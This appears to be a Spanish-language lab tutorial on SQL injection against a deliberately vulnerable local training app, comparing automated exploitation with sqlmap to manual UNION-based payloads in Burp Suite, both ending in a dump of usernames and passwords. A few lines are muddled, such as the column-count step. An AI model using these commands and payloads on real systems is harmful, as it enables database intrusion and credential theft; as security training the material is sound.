💥 Explotación Manual vs Automatizada
🔹 Explotación Manual
Consiste en explotar vulnerabilidades de forma manual, usando conocimientos técnicos y herramientas específicas.
-
🧠 Requiere experiencia y comprensión del sistema objetivo.
-
🐢 Es más lenta, pero más precisa y controlada.
-
🤫 Ideal cuando se quiere ser sigiloso o evitar detecciones automáticas.
🔹 Explotación Automatizada
La explotación se realiza con herramientas automáticas como scripts, escáneres o herramientas como sqlmap.
-
⚡ Es rápida y fácil de usar.
-
🎯 Detecta y explota vulnerabilidades con poco esfuerzo.
-
🚨 Pero puede ser ruidosa y más fácil de detectar por sistemas de defensa.
🔍 ¿Cuál usar? Depende del objetivo, la seguridad del sistema y el conocimiento del atacante.
🧪 Laboratorio: Diferencias entre Explotación Manual y Automatizada
Usaremos el repositorio de prácticas de SQLi:
🔗 appsecco/sqlinjection-training-app
📦 Clonamos y levantamos el entorno
git clone https://github.com/appsecco/sqlinjection-training-app.git
cd sqlinjection-training-app
docker-compose up -d
📲 Accedemos a: http://localhost:8000/
Ruta vulnerable: http://127.0.0.1:8000/searchproducts.php

si la consulta ponemos nos pone a y comilla se rompe

⚙️ Explotación Automatizada con SQLMAP
Después de crear una cuenta y hacer una búsqueda con comillas ', vemos que la consulta se rompe. ¡Eso es señal de inyección SQL!
🎯 Interceptamos la petición con BurpSuite:
abrimos burpsuite
burpsuite &> /dev/null & disown
📌 Copiamos la petición en un archivo llamado peticion.


🚀 SQLMAP
ponemos el comando
sqlmap -r peticion -p searchitem --batch
✅ Detecta inyección. Ahora vamos a extraer información:

Para mostrar todos los base de datos
sqlmap -r peticion -p searchitem --batch --dbs
🔍 Muestra las bases de datos disponibles.

Lista las tablas de la DB sqlitraining.
sqlmap -r peticion -p searchitem --batch -D sqlitraining --tables

🧑💻 Muestra las columnas de la tabla users.
sqlmap -r peticion -p searchitem --batch -D sqlitraining -T users --column

🕵️♂️ ¡Y ya tenemos los usuarios y contraseñas!
sqlmap -r peticion -p searchitem --batch -D sqlitraining -T users -C username,password --dump

🛠️ Explotación Manual con BurpSuite
Abrimos la petición en Repeater (Ctrl + R en BurpSuite).
Si hacemos
🔎 1. Descubrimos el número de columnas:
searchitem=hola' order by 100-- -
Nos devuelve resultado, así que tiene 5 columnas.
searchitem=hola' order by 5-- -
🔍 2. Probamos UNION:
searchitem=hola' union select 1,2,3,4,5 -- -
🧠 3. Obtenemos la base de datos actual:
searchitem=hola' union select 1,database(),3,4,5 -- -

📚 4. Enumeramos las bases de datos:
searchitem=hola' union select 1,schema_name,3,4,5 from information_schema.schemata -- -

searchitem=hola' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='sqlitraining' -- -
🧱 5. Mostramos tablas de sqlitraining:

🧩 6. Mostramos columnas de la tabla users:
searchitem=hola' union select 1,column_name,3,4,5 from information_schema.columns where table_schema='sqlitraining' and table_name='users'-- -

🔓 7. Sacamos usuarios y contraseñas:
searchitem=hola' union select 1,username,password,4,5 from users-- -
💥 ¡Ya tenemos los datos sensibles de forma manual!
